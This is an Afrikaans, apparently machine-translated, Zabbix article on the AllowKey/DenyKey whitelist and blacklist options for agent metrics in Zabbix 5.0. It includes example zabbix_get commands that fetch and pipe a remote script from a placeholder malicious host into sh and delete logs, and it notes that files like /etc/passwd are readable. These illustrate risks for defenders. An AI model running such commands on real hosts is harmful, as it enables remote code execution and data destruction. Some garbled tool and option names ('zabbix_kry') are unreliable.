Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Swartlys en witlys-ondersteuning vir agent-kant-metrieke

Tikhon Uskov, Integrasie-ingenieur, Zabbix

Datasekuriteitskwessies

Zabbix 5.0 het 'n nuwe funksie waarmee u sekuriteit in stelsels met behulp van Zabbix Agent kan verbeter en die ou parameter vervang Aktiveer Remote Commands.

Verbeterings in die sekuriteit van agent-gebaseerde stelsels spruit uit die feit dat 'n agent 'n groot aantal potensieel gevaarlike aksies kan uitvoer.

  • Die agent kan byna enige inligting, insluitend vertroulike of potensieel gevaarlike inligting, van konfigurasielêers, loglêers, wagwoordlêers of enige ander lêers insamel.

Met behulp van die zabbix_get-nutsding kan u byvoorbeeld toegang tot 'n lys gebruikers, hul tuisgidse, wagwoordlêers, ens.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Toegang tot data met behulp van die zabbix_get-nutsding

NOTA. Data kan slegs herwin word as die agent leestoestemmings op die ooreenstemmende lêer het. Maar, byvoorbeeld, die lêer /etc/passwd/ leesbaar vir alle gebruikers.

  • Die agent kan ook potensieel gevaarlike opdragte uitvoer. Sleutel byvoorbeeld *system.run[]** laat jou toe om enige afgeleë opdragte op netwerknodes uit te voer, insluitend die uitvoer van skrifte vanaf die Zabbix-webkoppelvlak wat ook opdragte aan die agentkant uitvoer.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Op Linux loop die agent by verstek sonder wortelvoorregte, terwyl dit op Windows as 'n diens as stelsel werk en onbeperkte toegang tot die lêerstelsel het. Gevolglik, indien geen veranderinge aan die Zabbix Agent-parameters na installasie aangebring word nie, het die agent toegang tot die register, lêerstelsel en kan WMI-navrae uitvoer.

In vroeëre weergawes het die parameter EnableRemoteCommands=0 slegs toegelaat om metrieke te deaktiveer met die sleutel *system.run[]** en lopende skrifte vanaf die webkoppelvlak, maar daar was geen manier om toegang tot individuele lêers te beperk, individuele sleutels wat saam met die agent geïnstalleer is toe te laat of te deaktiveer, of die gebruik van individuele parameters te beperk nie.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Gebruik die EnableRemoteCommand-parameter in vroeëre weergawes van Zabbix

AllowKey/DenyKey

Zabbix 5.0 help om teen sulke ongemagtigde toegang te beskerm deur witlyste en swartlyste te verskaf om maatstawwe aan die agentkant toe te laat en te weier.

In Zabbix 5.0 alle sleutels, insluitend *system.run[]** is geaktiveer, en twee nuwe agentkonfigurasie-opsies is bygevoeg:

Toelaatsleutel= — toegelate tjeks;

DenyKey= — verbode tjeks;

waar is 'n sleutelnaampatroon met parameters wat metakarakters (*) gebruik.

Die AllowKey- en DenyKey-sleutels laat jou toe om individuele maatstawwe op grond van 'n spesifieke patroon toe te laat of te weier. Anders as ander konfigurasieparameters, is die aantal AllowKey/DenyKey-parameters nie beperk nie. Dit laat jou toe om duidelik te definieer wat presies die agent in die stelsel kan doen deur 'n boom van tjeks te skep - uitvoerbare sleutels, waar die volgorde waarin dit geskryf word 'n baie belangrike rol speel.

Volgorde van reëls

Die reëls word nagegaan in die volgorde waarin dit in die konfigurasielêer ingevoer word. Die sleutel word volgens die reëls voor die eerste passing nagegaan, en sodra die sleutel van die data-element by die patroon pas, word dit toegelaat of geweier. Hierna stop reëlkontrolering en die oorblywende sleutels word geïgnoreer.

Daarom, as 'n element ooreenstem met beide 'n toelaat- en 'n weier-reël, sal die resultaat afhang van watter reël eerste in die konfigurasielêer is.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

2 verskillende reëls met dieselfde patroon en 'n sleutel vfs.file.size[/tmp/file]

Die volgorde van gebruik van die AllowKey/DenyKey-sleutels:

  1. presiese reëls,
  2. algemene reëls,
  3. verbode reël.

As jy byvoorbeeld toegang tot lêers in 'n sekere vouer benodig, moet jy eers toegang daartoe toelaat en dan alles ontken wat nie binne die vasgestelde toestemmings val nie. As die weierreël eerste gebruik word, sal toegang tot die vouer geweier word.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Korrekte volgorde

As jy 2 nutsprogramme moet toelaat om via *system.run[]**, en die ontkenningsreël sal eerste gespesifiseer word, sal die nutsprogramme nie geloods word nie, want die eerste patroon sal altyd by enige sleutel pas, en daaropvolgende reëls sal geïgnoreer word.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Verkeerde volgorde

Patrone

Basiese reëls

Patroon is 'n uitdrukking met jokertekens. Die metakarakter (*) pas by enige aantal karakters op 'n spesifieke posisie. Metakarakters kan beide in die sleutelnaam en in parameters gebruik word. Byvoorbeeld, jy kan die eerste parameter streng definieer met teks, en spesifiseer die daaropvolgende een as jokerteken.

Parameters moet in vierkantige hakies [] ingesluit word.

  • system.run[* - verkeerde
  • vfs.file*.txt] - verkeerde
  • vfs.file.*[*] - reg

Voorbeelde van die gebruik van jokertekens.

  1. In die sleutelnaam en in die parameter. In hierdie geval stem die sleutel nie ooreen met 'n soortgelyke sleutel wat nie 'n parameter bevat nie, aangesien ons in die patroon aangedui het dat ons 'n sekere einde van die sleutelnaam en 'n sekere stel parameters wil ontvang.
  2. As die patroon nie vierkantige hakies gebruik nie, laat die patroon alle sleutels toe wat nie parameters bevat nie en ontken alle sleutels wat die gespesifiseerde parameter bevat.
  3. As die sleutel volledig geskryf is en die parameters as wildcard gespesifiseer word, sal dit enige soortgelyke sleutel met enige parameters pas en sal nie by die sleutel pas sonder vierkantige hakies nie, dit wil sê dit sal toegelaat of geweier word.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Reëls vir die invul van parameters.

  • As 'n sleutel met parameters bedoel is om gebruik te word, moet die parameters in die konfigurasielêer gespesifiseer word. Parameters moet as 'n metakarakter gespesifiseer word. Dit is nodig om sorgvuldig toegang tot enige lêer te weier en in ag te neem watter inligting die metriek onder verskillende spellings kan verskaf – met en sonder parameters.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Kenmerke van die skryf van sleutels met parameters

  • As 'n sleutel met parameters gespesifiseer word, maar die parameters is opsioneel en gespesifiseer as 'n metakarakter, sal 'n sleutel sonder parameters opgelos word. Byvoorbeeld, as jy die ontvangs van inligting oor die las op die SVE wil deaktiveer en spesifiseer dat die system.cpu.load[*] sleutel gedeaktiveer moet word, moenie vergeet dat die sleutel sonder parameters die gemiddelde vragwaarde sal terugstuur nie.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Reëls vir die invul van parameters

opmerkings

aanpassing

  • Sommige reëls kan nie deur die gebruiker verander word nie, byvoorbeeld ontdekkingreëls of agentouto-registrasiereëls. AllowKey/DenyKey-reëls beïnvloed nie die volgende parameters nie:
    - GasheernaamItem
    - HostMetadataItem
    - HostInterface Item

NOTA. Indien 'n administrateur 'n sleutel deaktiveer, wanneer navraag gedoen word, verskaf Zabbix nie inligting oor hoekom die maatstaf of sleutel in die ' kategorie val nieNIE ONDERSTEUN NIE'. Inligting oor verbod op die uitvoering van afstandbevele word ook nie in die agentloglêers vertoon nie. Dit is om sekuriteitsredes, maar kan ontfouting bemoeilik as metrieke om een ​​of ander rede in 'n ongesteunde kategorie val.

  • Jy moet nie staatmaak op enige spesifieke volgorde vir die koppeling van eksterne konfigurasielêers (byvoorbeeld in alfabetiese volgorde).

Command Line Utilities

Nadat u die reëls opgestel het, moet u seker maak dat alles korrek opgestel is.

Jy kan een van drie opsies gebruik:

  • Voeg 'n maatstaf by Zabbix.
  • Toets met zabbix_agentd. Zabbix agent met opsie -druk (-p) wys alle sleutels (wat by verstek toegelaat word) behalwe dié wat nie deur die konfigurasie toegelaat word nie. En met die opsie -toets (-t) want 'n verbode sleutel sal terugkeer 'Ongesteunde itemsleutel".
  • Toets met zabbix_kry. Nut zabbix_kry met opsie -k sal terugkeer 'ZBX_NOTSUPPORTED: Onbekende maatstaf".

Laat toe of weier

Jy kan toegang tot 'n lêer weier en verifieer, byvoorbeeld deur die hulpprogram te gebruik zabbix_krydat toegang tot die lêer geweier word.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

**

NOTA. Aanhalings in die parameter word geïgnoreer.

In hierdie geval kan toegang tot so 'n lêer via 'n ander pad toegelaat word. Byvoorbeeld, as 'n simlink daartoe lei.

Swartlys en witlys-ondersteuning vir agent-kant-metrieke in Zabbix 5.0

Dit word aanbeveel om verskeie opsies vir die toepassing van die gespesifiseerde reëls na te gaan, en ook die moontlikhede in ag te neem om die verbodsbepalings te omseil.

Vrae en Antwoorde

Vraag. Hoekom is so 'n komplekse patroon met sy eie taal gekies om reëls, toestemmings en verbods te beskryf? Hoekom was dit nie moontlik om byvoorbeeld die gewone uitdrukkings wat Zabbix gebruik te gebruik nie?

Beantwoord. Dit is 'n regex-prestasieprobleem aangesien daar gewoonlik net een agent is en dit kontroleer 'n groot aantal statistieke. Regex is nogal 'n swaar operasie en ons kan nie duisende statistieke op hierdie manier nagaan nie. Wildcards - 'n universele, wyd gebruikte en eenvoudige oplossing.

Vraag. Is die sluit lêers nie in alfabetiese volgorde in nie?

Beantwoord. Sover ek weet, is dit feitlik onmoontlik om die volgorde waarin reëls toegepas sal word te voorspel as jy die reëls oor verskillende lêers versprei. Ek beveel aan om alle AllowKey/DenyKey-reëls in een Include-lêer te versamel, omdat hulle met mekaar interaksie het, en hierdie lêer insluit.

Vraag. In Zabbix 5.0 die opsie 'Aktiveer RemoteCommands=' ontbreek in die konfigurasielêer, en slegs AllowKey/DenyKey is beskikbaar?

Antwoord. Ja, dis reg.

Skep 'n nuwe weergawe!

Bron: will.com

Voeg 'n opmerking